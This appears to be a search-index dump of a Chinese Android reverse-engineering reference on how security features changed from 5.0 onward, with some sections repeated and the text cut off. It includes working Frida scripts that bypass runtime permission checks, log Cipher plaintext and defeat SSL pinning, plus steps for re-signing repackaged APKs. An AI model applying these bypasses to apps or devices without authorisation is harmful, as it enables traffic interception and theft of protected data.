[{"categories":null,"collections":null,"content":"Android 版本安全特性演进与逆向影响 Android 系统从 5.0 到 15，每一个大版本都引入了大量安全特性。这些安全增强不仅影响了普通开发者的开发方式，更直接改变了逆向工程师的分析策略和工具选择。不了解目标设备的 Android 版本特性，往往是逆向分析受阻的首要原因。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:0:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#android-版本安全特性演进与逆向影响"},{"categories":null,"collections":null,"content":"1. 概述 对于逆向工程师来说，理解 Android 各版本安全特性的演进至关重要，原因如下： 工具兼容性：不同 Android 版本对 Frida、Xposed、Magisk 等工具的支持程度不同，选错工具版本会直接导致注入失败 分析策略差异：Android 7.0 之后的证书信任策略变化使得抓包方式截然不同；Android 9.0 的 Hidden API 限制改变了反射调用的方式 绕过方法更新：每个版本的安全增强都需要对应的绕过手段，旧方法可能在新版本上完全失效 Native 层影响：从 Linker namespace 到 XOM 再到 16KB 页面大小，底层变化影响 SO 分析的每一个环节 加密与认证：Hardware Keystore、BiometricPrompt、MTE 等特性不断提高数据保护强度 实用建议 在开始任何逆向分析任务之前，务必先确认目标设备的 Android 版本和安全补丁级别： adb shell getprop ro.build.version.release # Android 版本号 adb shell getprop ro.build.version.sdk # API Level adb shell getprop ro.build.version.security_patch # 安全补丁日期 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:1:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#1-概述"},{"categories":null,"collections":null,"content":"2. 版本安全特性总览表 下表汇总了 Android 5.0 到 15 各版本的关键安全特性及其对逆向工程的影响： 版本号 (代号) API Level 关键安全特性 对逆向的影响 5.0-5.1 (Lollipop) 21-22 ART 默认运行时、SELinux enforcing、全盘加密 (FDE) DEX 优化格式变化（OAT 文件），需新 dump 策略 6.0 (Marshmallow) 23 运行时权限、验证启动、硬件 Keystore、指纹 API 权限检查成为 hook 目标，Keystore 提取需新方法 7.0-7.1 (Nougat) 24-25 网络安全配置、用户证书不信任、Linker namespace、APK Sig v2、FBE 抓包需额外配置，注入需处理 namespace，v2 签名影响重打包 8.0-8.1 (Oreo) 26-27 Project Treble、Vendor/System 分离、HIDL、后台限制 SO 分析需关注分区，后台限制影响持久化 hook 9.0 (Pie) 28 Hidden API 限制、TLS 强制、BiometricPrompt、ASLR 改进 反射调用受限需绕过，ASLR 使内存分析更复杂 10 (Q) 29 Scoped Storage、XOM、TLS 1.3、MAC 随机化 XOM 使 .text 不可读，Scoped Storage 影响 dump 路径 11 (R) 30 包可见性限制、APK Sig v4、GWP-ASan 应用枚举受限，需 QUERY_ALL_PACKAGES 权限 12-12L (S) 31-32 隐私面板、ART Mainline 模块化、ASLR 增强 ART 可独立更新，调试限制增强 13 (T) 33 通知权限、Intent filter 验证增强 Intent filter 验证影响 deep link 测试 14 (U) 34 Credential Manager、16KB 页面大小支持、minSdkVersion 限制 SO 段对齐变化，旧工具重打包受限 15 (V) 35 16KB 页面全面支持、MTE 生产可用、Privacy Sandbox MTE 影响内存分析和 exploit，16KB 页面成硬性要求 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:2:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#2-版本安全特性总览表"},{"categories":null,"collections":null,"content":"3. 详细版本分析 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3-详细版本分析"},{"categories":null,"collections":null,"content":"3.1 Android 5.0-5.1 (Lollipop, API 21-22) Android 5.0 是 Android 安全架构的分水岭，三项核心变化奠定了现代 Android 安全的基础。 3.1.1 ART 取代 Dalvik 成为默认运行时 Android 5.0 将 ART (Android Runtime) 确立为唯一的运行时环境，彻底取代了 Dalvik。ART 使用 AOT (Ahead-Of-Time) 编译，在应用安装时将 DEX 字节码编译为本地机器码。 核心变化： DEX 字节码不再直接解释执行，而是被编译为 OAT (Optimized Android runtime application) 格式 编译产物路径从 /data/dalvik-cache/ 下的 .dex 文件变为 .odex（实际是 OAT 格式） 运行时方法调用方式发生根本改变 # 查看 OAT 文件 adb shell ls /data/dalvik-cache/arm64/ # 使用 oatdump 分析 oatdump --oat-file=/data/dalvik-cache/arm64/system@app@SomeApp@SomeApp.apk@classes.dex 3.1.2 SELinux Enforcing Mode 全面启用 Android 5.0 将 SELinux 从 Permissive 模式切换到 Enforcing 模式，意味着所有违反安全策略的操作都会被阻止，而不仅仅是记录日志。 # 查看 SELinux 状态 adb shell getenforce # 输出: Enforcing # 查看 SELinux 策略 adb shell ls -la /sys/fs/selinux/ 3.1.3 全盘加密 (FDE) Android 5.0 要求新出厂设备默认启用全盘加密 (Full Disk Encryption)，使用 dm-crypt 对 /data 分区进行加密。 对逆向的影响 影响点 具体变化 应对策略 DEX dump OAT 格式取代直接 DEX 执行 使用 oatdump、baksmali 适配 OAT 格式 方法 Hook ART 方法结构与 Dalvik 不同 更新 Hook 框架至 ART 兼容版本 SELinux 阻止 文件操作、ptrace 等被策略限制 需要修改 SELinux 策略或切换到 Permissive 数据获取 全盘加密阻止离线数据读取 需要在设备解锁状态下操作 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#31-android-50-51-lollipop-api-21-22"},{"categories":null,"collections":null,"content":"3.1 Android 5.0-5.1 (Lollipop, API 21-22) Android 5.0 是 Android 安全架构的分水岭，三项核心变化奠定了现代 Android 安全的基础。 3.1.1 ART 取代 Dalvik 成为默认运行时 Android 5.0 将 ART (Android Runtime) 确立为唯一的运行时环境，彻底取代了 Dalvik。ART 使用 AOT (Ahead-Of-Time) 编译，在应用安装时将 DEX 字节码编译为本地机器码。 核心变化： DEX 字节码不再直接解释执行，而是被编译为 OAT (Optimized Android runtime application) 格式 编译产物路径从 /data/dalvik-cache/ 下的 .dex 文件变为 .odex（实际是 OAT 格式） 运行时方法调用方式发生根本改变 # 查看 OAT 文件 adb shell ls /data/dalvik-cache/arm64/ # 使用 oatdump 分析 oatdump --oat-file=/data/dalvik-cache/arm64/system@app@SomeApp@SomeApp.apk@classes.dex 3.1.2 SELinux Enforcing Mode 全面启用 Android 5.0 将 SELinux 从 Permissive 模式切换到 Enforcing 模式，意味着所有违反安全策略的操作都会被阻止，而不仅仅是记录日志。 # 查看 SELinux 状态 adb shell getenforce # 输出: Enforcing # 查看 SELinux 策略 adb shell ls -la /sys/fs/selinux/ 3.1.3 全盘加密 (FDE) Android 5.0 要求新出厂设备默认启用全盘加密 (Full Disk Encryption)，使用 dm-crypt 对 /data 分区进行加密。 对逆向的影响 影响点 具体变化 应对策略 DEX dump OAT 格式取代直接 DEX 执行 使用 oatdump、baksmali 适配 OAT 格式 方法 Hook ART 方法结构与 Dalvik 不同 更新 Hook 框架至 ART 兼容版本 SELinux 阻止 文件操作、ptrace 等被策略限制 需要修改 SELinux 策略或切换到 Permissive 数据获取 全盘加密阻止离线数据读取 需要在设备解锁状态下操作 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#311-art-取代-dalvik-成为默认运行时"},{"categories":null,"collections":null,"content":"3.1 Android 5.0-5.1 (Lollipop, API 21-22) Android 5.0 是 Android 安全架构的分水岭，三项核心变化奠定了现代 Android 安全的基础。 3.1.1 ART 取代 Dalvik 成为默认运行时 Android 5.0 将 ART (Android Runtime) 确立为唯一的运行时环境，彻底取代了 Dalvik。ART 使用 AOT (Ahead-Of-Time) 编译，在应用安装时将 DEX 字节码编译为本地机器码。 核心变化： DEX 字节码不再直接解释执行，而是被编译为 OAT (Optimized Android runtime application) 格式 编译产物路径从 /data/dalvik-cache/ 下的 .dex 文件变为 .odex（实际是 OAT 格式） 运行时方法调用方式发生根本改变 # 查看 OAT 文件 adb shell ls /data/dalvik-cache/arm64/ # 使用 oatdump 分析 oatdump --oat-file=/data/dalvik-cache/arm64/system@app@SomeApp@SomeApp.apk@classes.dex 3.1.2 SELinux Enforcing Mode 全面启用 Android 5.0 将 SELinux 从 Permissive 模式切换到 Enforcing 模式，意味着所有违反安全策略的操作都会被阻止，而不仅仅是记录日志。 # 查看 SELinux 状态 adb shell getenforce # 输出: Enforcing # 查看 SELinux 策略 adb shell ls -la /sys/fs/selinux/ 3.1.3 全盘加密 (FDE) Android 5.0 要求新出厂设备默认启用全盘加密 (Full Disk Encryption)，使用 dm-crypt 对 /data 分区进行加密。 对逆向的影响 影响点 具体变化 应对策略 DEX dump OAT 格式取代直接 DEX 执行 使用 oatdump、baksmali 适配 OAT 格式 方法 Hook ART 方法结构与 Dalvik 不同 更新 Hook 框架至 ART 兼容版本 SELinux 阻止 文件操作、ptrace 等被策略限制 需要修改 SELinux 策略或切换到 Permissive 数据获取 全盘加密阻止离线数据读取 需要在设备解锁状态下操作 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#312-selinux-enforcing-mode-全面启用"},{"categories":null,"collections":null,"content":"3.1 Android 5.0-5.1 (Lollipop, API 21-22) Android 5.0 是 Android 安全架构的分水岭，三项核心变化奠定了现代 Android 安全的基础。 3.1.1 ART 取代 Dalvik 成为默认运行时 Android 5.0 将 ART (Android Runtime) 确立为唯一的运行时环境，彻底取代了 Dalvik。ART 使用 AOT (Ahead-Of-Time) 编译，在应用安装时将 DEX 字节码编译为本地机器码。 核心变化： DEX 字节码不再直接解释执行，而是被编译为 OAT (Optimized Android runtime application) 格式 编译产物路径从 /data/dalvik-cache/ 下的 .dex 文件变为 .odex（实际是 OAT 格式） 运行时方法调用方式发生根本改变 # 查看 OAT 文件 adb shell ls /data/dalvik-cache/arm64/ # 使用 oatdump 分析 oatdump --oat-file=/data/dalvik-cache/arm64/system@app@SomeApp@SomeApp.apk@classes.dex 3.1.2 SELinux Enforcing Mode 全面启用 Android 5.0 将 SELinux 从 Permissive 模式切换到 Enforcing 模式，意味着所有违反安全策略的操作都会被阻止，而不仅仅是记录日志。 # 查看 SELinux 状态 adb shell getenforce # 输出: Enforcing # 查看 SELinux 策略 adb shell ls -la /sys/fs/selinux/ 3.1.3 全盘加密 (FDE) Android 5.0 要求新出厂设备默认启用全盘加密 (Full Disk Encryption)，使用 dm-crypt 对 /data 分区进行加密。 对逆向的影响 影响点 具体变化 应对策略 DEX dump OAT 格式取代直接 DEX 执行 使用 oatdump、baksmali 适配 OAT 格式 方法 Hook ART 方法结构与 Dalvik 不同 更新 Hook 框架至 ART 兼容版本 SELinux 阻止 文件操作、ptrace 等被策略限制 需要修改 SELinux 策略或切换到 Permissive 数据获取 全盘加密阻止离线数据读取 需要在设备解锁状态下操作 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#313-全盘加密-fde"},{"categories":null,"collections":null,"content":"3.1 Android 5.0-5.1 (Lollipop, API 21-22) Android 5.0 是 Android 安全架构的分水岭，三项核心变化奠定了现代 Android 安全的基础。 3.1.1 ART 取代 Dalvik 成为默认运行时 Android 5.0 将 ART (Android Runtime) 确立为唯一的运行时环境，彻底取代了 Dalvik。ART 使用 AOT (Ahead-Of-Time) 编译，在应用安装时将 DEX 字节码编译为本地机器码。 核心变化： DEX 字节码不再直接解释执行，而是被编译为 OAT (Optimized Android runtime application) 格式 编译产物路径从 /data/dalvik-cache/ 下的 .dex 文件变为 .odex（实际是 OAT 格式） 运行时方法调用方式发生根本改变 # 查看 OAT 文件 adb shell ls /data/dalvik-cache/arm64/ # 使用 oatdump 分析 oatdump --oat-file=/data/dalvik-cache/arm64/system@app@SomeApp@SomeApp.apk@classes.dex 3.1.2 SELinux Enforcing Mode 全面启用 Android 5.0 将 SELinux 从 Permissive 模式切换到 Enforcing 模式，意味着所有违反安全策略的操作都会被阻止，而不仅仅是记录日志。 # 查看 SELinux 状态 adb shell getenforce # 输出: Enforcing # 查看 SELinux 策略 adb shell ls -la /sys/fs/selinux/ 3.1.3 全盘加密 (FDE) Android 5.0 要求新出厂设备默认启用全盘加密 (Full Disk Encryption)，使用 dm-crypt 对 /data 分区进行加密。 对逆向的影响 影响点 具体变化 应对策略 DEX dump OAT 格式取代直接 DEX 执行 使用 oatdump、baksmali 适配 OAT 格式 方法 Hook ART 方法结构与 Dalvik 不同 更新 Hook 框架至 ART 兼容版本 SELinux 阻止 文件操作、ptrace 等被策略限制 需要修改 SELinux 策略或切换到 Permissive 数据获取 全盘加密阻止离线数据读取 需要在设备解锁状态下操作 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#对逆向的影响"},{"categories":null,"collections":null,"content":"3.2 Android 6.0 (Marshmallow, API 23) 3.2.1 运行时权限模型 Android 6.0 将敏感权限从安装时授予改为运行时动态申请。应用需要在代码中显式请求危险权限，用户可以拒绝或撤销。 // 运行时权限检查代码（逆向分析中常见的 hook 目标） if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_PHONE_STATE}, REQUEST_CODE); } 逆向关注点：checkSelfPermission 和 requestPermissions 是常见的 hook 目标，可以通过 Frida 直接返回 PERMISSION_GRANTED 绕过权限检查。 // Frida 绕过运行时权限检查 Java.perform(function() { var ContextCompat = Java.use('androidx.core.content.ContextCompat'); ContextCompat.checkSelfPermission.implementation = function(context, permission) { console.log('[*] checkSelfPermission: ' + permission); return 0; // PERMISSION_GRANTED }; }); 3.2.2 验证启动 (Verified Boot) Android 6.0 强化了验证启动机制，确保从引导加载程序到系统分区的完整信任链。修改 system 分区会触发验证失败。 3.2.3 硬件级密钥库 (Hardware Keystore) Android 6.0 引入了硬件级别的密钥库 API，密钥存储在 TEE (Trusted Execution Environment) 或专用安全芯片中。 对逆向影响： 存储在硬件 Keystore 中的密钥无法通过软件方式提取 加密操作在 TEE 内部完成，无法通过内存 dump 获取密钥材料 需要 hook KeyStore API 调用来拦截加密前/解密后的明文数据 // Frida hook KeyStore 操作 Java.perform(function() { var Cipher = Java.use('javax.crypto.Cipher'); Cipher.doFinal.overload('[B').implementation = function(input) { console.log('[*] Cipher.doFinal input: ' + bytesToHex(input)); var result = this.doFinal(input); console.log('[*] Cipher.doFinal output: ' + bytesToHex(result)); return result; }; }); 3.2.4 指纹认证 API Android 6.0 引入 FingerprintManager API，允许应用使用设备指纹传感器进行身份验证。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#32-android-60-marshmallow-api-23"},{"categories":null,"collections":null,"content":"3.2 Android 6.0 (Marshmallow, API 23) 3.2.1 运行时权限模型 Android 6.0 将敏感权限从安装时授予改为运行时动态申请。应用需要在代码中显式请求危险权限，用户可以拒绝或撤销。 // 运行时权限检查代码（逆向分析中常见的 hook 目标） if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_PHONE_STATE}, REQUEST_CODE); } 逆向关注点：checkSelfPermission 和 requestPermissions 是常见的 hook 目标，可以通过 Frida 直接返回 PERMISSION_GRANTED 绕过权限检查。 // Frida 绕过运行时权限检查 Java.perform(function() { var ContextCompat = Java.use('androidx.core.content.ContextCompat'); ContextCompat.checkSelfPermission.implementation = function(context, permission) { console.log('[*] checkSelfPermission: ' + permission); return 0; // PERMISSION_GRANTED }; }); 3.2.2 验证启动 (Verified Boot) Android 6.0 强化了验证启动机制，确保从引导加载程序到系统分区的完整信任链。修改 system 分区会触发验证失败。 3.2.3 硬件级密钥库 (Hardware Keystore) Android 6.0 引入了硬件级别的密钥库 API，密钥存储在 TEE (Trusted Execution Environment) 或专用安全芯片中。 对逆向影响： 存储在硬件 Keystore 中的密钥无法通过软件方式提取 加密操作在 TEE 内部完成，无法通过内存 dump 获取密钥材料 需要 hook KeyStore API 调用来拦截加密前/解密后的明文数据 // Frida hook KeyStore 操作 Java.perform(function() { var Cipher = Java.use('javax.crypto.Cipher'); Cipher.doFinal.overload('[B').implementation = function(input) { console.log('[*] Cipher.doFinal input: ' + bytesToHex(input)); var result = this.doFinal(input); console.log('[*] Cipher.doFinal output: ' + bytesToHex(result)); return result; }; }); 3.2.4 指纹认证 API Android 6.0 引入 FingerprintManager API，允许应用使用设备指纹传感器进行身份验证。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#321-运行时权限模型"},{"categories":null,"collections":null,"content":"3.2 Android 6.0 (Marshmallow, API 23) 3.2.1 运行时权限模型 Android 6.0 将敏感权限从安装时授予改为运行时动态申请。应用需要在代码中显式请求危险权限，用户可以拒绝或撤销。 // 运行时权限检查代码（逆向分析中常见的 hook 目标） if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_PHONE_STATE}, REQUEST_CODE); } 逆向关注点：checkSelfPermission 和 requestPermissions 是常见的 hook 目标，可以通过 Frida 直接返回 PERMISSION_GRANTED 绕过权限检查。 // Frida 绕过运行时权限检查 Java.perform(function() { var ContextCompat = Java.use('androidx.core.content.ContextCompat'); ContextCompat.checkSelfPermission.implementation = function(context, permission) { console.log('[*] checkSelfPermission: ' + permission); return 0; // PERMISSION_GRANTED }; }); 3.2.2 验证启动 (Verified Boot) Android 6.0 强化了验证启动机制，确保从引导加载程序到系统分区的完整信任链。修改 system 分区会触发验证失败。 3.2.3 硬件级密钥库 (Hardware Keystore) Android 6.0 引入了硬件级别的密钥库 API，密钥存储在 TEE (Trusted Execution Environment) 或专用安全芯片中。 对逆向影响： 存储在硬件 Keystore 中的密钥无法通过软件方式提取 加密操作在 TEE 内部完成，无法通过内存 dump 获取密钥材料 需要 hook KeyStore API 调用来拦截加密前/解密后的明文数据 // Frida hook KeyStore 操作 Java.perform(function() { var Cipher = Java.use('javax.crypto.Cipher'); Cipher.doFinal.overload('[B').implementation = function(input) { console.log('[*] Cipher.doFinal input: ' + bytesToHex(input)); var result = this.doFinal(input); console.log('[*] Cipher.doFinal output: ' + bytesToHex(result)); return result; }; }); 3.2.4 指纹认证 API Android 6.0 引入 FingerprintManager API，允许应用使用设备指纹传感器进行身份验证。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#322-验证启动-verified-boot"},{"categories":null,"collections":null,"content":"3.2 Android 6.0 (Marshmallow, API 23) 3.2.1 运行时权限模型 Android 6.0 将敏感权限从安装时授予改为运行时动态申请。应用需要在代码中显式请求危险权限，用户可以拒绝或撤销。 // 运行时权限检查代码（逆向分析中常见的 hook 目标） if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_PHONE_STATE}, REQUEST_CODE); } 逆向关注点：checkSelfPermission 和 requestPermissions 是常见的 hook 目标，可以通过 Frida 直接返回 PERMISSION_GRANTED 绕过权限检查。 // Frida 绕过运行时权限检查 Java.perform(function() { var ContextCompat = Java.use('androidx.core.content.ContextCompat'); ContextCompat.checkSelfPermission.implementation = function(context, permission) { console.log('[*] checkSelfPermission: ' + permission); return 0; // PERMISSION_GRANTED }; }); 3.2.2 验证启动 (Verified Boot) Android 6.0 强化了验证启动机制，确保从引导加载程序到系统分区的完整信任链。修改 system 分区会触发验证失败。 3.2.3 硬件级密钥库 (Hardware Keystore) Android 6.0 引入了硬件级别的密钥库 API，密钥存储在 TEE (Trusted Execution Environment) 或专用安全芯片中。 对逆向影响： 存储在硬件 Keystore 中的密钥无法通过软件方式提取 加密操作在 TEE 内部完成，无法通过内存 dump 获取密钥材料 需要 hook KeyStore API 调用来拦截加密前/解密后的明文数据 // Frida hook KeyStore 操作 Java.perform(function() { var Cipher = Java.use('javax.crypto.Cipher'); Cipher.doFinal.overload('[B').implementation = function(input) { console.log('[*] Cipher.doFinal input: ' + bytesToHex(input)); var result = this.doFinal(input); console.log('[*] Cipher.doFinal output: ' + bytesToHex(result)); return result; }; }); 3.2.4 指纹认证 API Android 6.0 引入 FingerprintManager API，允许应用使用设备指纹传感器进行身份验证。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#323-硬件级密钥库-hardware-keystore"},{"categories":null,"collections":null,"content":"3.2 Android 6.0 (Marshmallow, API 23) 3.2.1 运行时权限模型 Android 6.0 将敏感权限从安装时授予改为运行时动态申请。应用需要在代码中显式请求危险权限，用户可以拒绝或撤销。 // 运行时权限检查代码（逆向分析中常见的 hook 目标） if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_PHONE_STATE}, REQUEST_CODE); } 逆向关注点：checkSelfPermission 和 requestPermissions 是常见的 hook 目标，可以通过 Frida 直接返回 PERMISSION_GRANTED 绕过权限检查。 // Frida 绕过运行时权限检查 Java.perform(function() { var ContextCompat = Java.use('androidx.core.content.ContextCompat'); ContextCompat.checkSelfPermission.implementation = function(context, permission) { console.log('[*] checkSelfPermission: ' + permission); return 0; // PERMISSION_GRANTED }; }); 3.2.2 验证启动 (Verified Boot) Android 6.0 强化了验证启动机制，确保从引导加载程序到系统分区的完整信任链。修改 system 分区会触发验证失败。 3.2.3 硬件级密钥库 (Hardware Keystore) Android 6.0 引入了硬件级别的密钥库 API，密钥存储在 TEE (Trusted Execution Environment) 或专用安全芯片中。 对逆向影响： 存储在硬件 Keystore 中的密钥无法通过软件方式提取 加密操作在 TEE 内部完成，无法通过内存 dump 获取密钥材料 需要 hook KeyStore API 调用来拦截加密前/解密后的明文数据 // Frida hook KeyStore 操作 Java.perform(function() { var Cipher = Java.use('javax.crypto.Cipher'); Cipher.doFinal.overload('[B').implementation = function(input) { console.log('[*] Cipher.doFinal input: ' + bytesToHex(input)); var result = this.doFinal(input); console.log('[*] Cipher.doFinal output: ' + bytesToHex(result)); return result; }; }); 3.2.4 指纹认证 API Android 6.0 引入 FingerprintManager API，允许应用使用设备指纹传感器进行身份验证。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#324-指纹认证-api"},{"categories":null,"collections":null,"content":"3.3 Android 7.0-7.1 (Nougat, API 24-25) Android 7.0 对逆向工程的影响极为深远，尤其是网络安全配置的引入，直接改变了流量拦截的方式。 3.3.1 网络安全配置 (Network Security Config) 这是影响逆向分析最深远的变化之一。Android 7.0 引入了 network_security_config.xml，允许应用以声明式方式配置网络安全策略。 最关键的变化：默认情况下，应用不再信任用户安装的 CA 证书。这意味着在设备上安装 mitmproxy/Burp 等代理的证书后，targetSdkVersion \u003e= 24 的应用会拒绝连接。 \u003c!-- 应用的默认行为 (targetSdkVersion \u003e= 24) --\u003e \u003cnetwork-security-config\u003e \u003cbase-config\u003e \u003ctrust-anchors\u003e \u003ccertificates src=\"system\"/\u003e \u003c!-- 注意：没有 user 证书源 --\u003e \u003c/trust-anchors\u003e \u003c/base-config\u003e \u003c/network-security-config\u003e 绕过证书信任限制 方法一：修改 APK 中的网络安全配置 反编译 APK 后，添加或修改 network_security_config.xml，使其信任用户证书： \u003c!-- network_security_config.xml --\u003e \u003cnetwork-security-config\u003e \u003cbase-config\u003e \u003ctrust-anchors\u003e \u003ccertificates src=\"system\"/\u003e \u003ccertificates src=\"user\"/\u003e \u003c/trust-anchors\u003e \u003c/base-config\u003e \u003c/network-security-config\u003e 然后在 AndroidManifest.xml 中引用： \u003capplication android:networkSecurityConfig=\"@xml/network_security_config\" ...\u003e 方法二：Magisk + MoveCert 模块 将用户证书移动到系统证书目录，使其被视为系统证书： # 1. 安装 Magisk (确保版本 24+) # 2. 安装 MagiskTrustUserCerts 模块 # 模块地址: https://github.com/NVISOsecurity/MagiskTrustUserCerts # 安装用户证书后，模块会自动将其复制到 /system/etc/security/cacerts/ # 重启设备生效 # 验证证书是否在系统目录 adb shell ls /system/etc/security/cacerts/ | grep -i \"hash\" 方法三：Frida SSL Pinning Bypass 使用 Frida 在运行时绕过 SSL 证书验证： // Frida SSL Pinning Bypass (通用版) Java.perform(function() { // 绕过 TrustManager var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log('[*] SSL Pinning Bypass: ' + host); return untrustedChain; }; // 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List') .implementation = function(hostname, peerCertificates) { console.log('[*] OkHttp SSL Pinning Bypass: ' + hostname); return; }; } catch (e) { console.log('[*] OkHttp not found, skipping...'); } // 绕过 WebView SSL 错误 var WebViewClient = Java.use('android.webkit.WebViewClient'); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log('[*] WebView SSL Error Bypass'); handler.proceed(); }; }); 3.3.2 Linker Namespace 隔离 Android 7.0 引入了 Linker namespace 机制，限制应用只能加载特定路径下的共享库，防止应用访问系统内部的私有 SO 库。 # namespace 隔离示意 ┌──────────────────────────────────────────┐ │ Android 7.0+ Linker │ ├──────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ │ │ │ default │ │ classloader│ │ │ │ namespace │ │ namespace │ │ │ ├────────────┤ ├────────────┤ │ │ │ /system/lib│ │ /data/app/ │ │ │ │ /vendor/lib│ │ app的SO │ │ │ └────────────┘ └────────────┘ │ │ ↕ 受限访问 │ └──────────────────────────────────────────┘ 对逆向影响：Frida 和 Xposed 注入时需要处理 namespace 隔离，否则可能无法正确加载或 hook 目标 SO。 3.3.3 APK Signature Scheme v2 APK Signature Scheme v2 对整个 APK 文件进行签名验证（而非仅 JAR 签名），修改 APK 任何部分都会导致签名失效。 对逆向影响：重打包后必须使用支持 v2 签名的工具重新签名： # 使用 apksigner 进行 v2 签名 apksigner sign --ks my-key.jks --ks-key-alias mykey \\ --v1-signing-enabled true --v2-signing-enabled true \\ modified.apk # 验证签名 apksigner verify --verbose modified.apk 3.3.4 File-Based Encryption (FBE) Android 7.0 引入基于文件的加密 (FBE) 取代全盘加密 (FDE)，允许不同文件使用不同密钥加密，支持 Direct Boot 模式。 3.3.5 JIT 编译器回归 (Profile-Guided Compilation) ART 重新引入 JIT 编译器，与 AOT 结合形成混合编译模式： 应用首次安装 → 全部解释执行/JIT ↓ 收集运行时 Profile ↓ 设备空闲时执行 AOT 编译（仅热点代码） ↓ 后续运行: 热点代码 AOT 执行 + 冷代码 JIT/解释执行 对逆向影响：方法可能处于不同的编译状态，hook 时需要考虑方法是 AOT 编译还是解释执行。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#33-android-70-71-nougat-api-24-25"},{"categories":null,"collections":null,"content":"3.3 Android 7.0-7.1 (Nougat, API 24-25) Android 7.0 对逆向工程的影响极为深远，尤其是网络安全配置的引入，直接改变了流量拦截的方式。 3.3.1 网络安全配置 (Network Security Config) 这是影响逆向分析最深远的变化之一。Android 7.0 引入了 network_security_config.xml，允许应用以声明式方式配置网络安全策略。 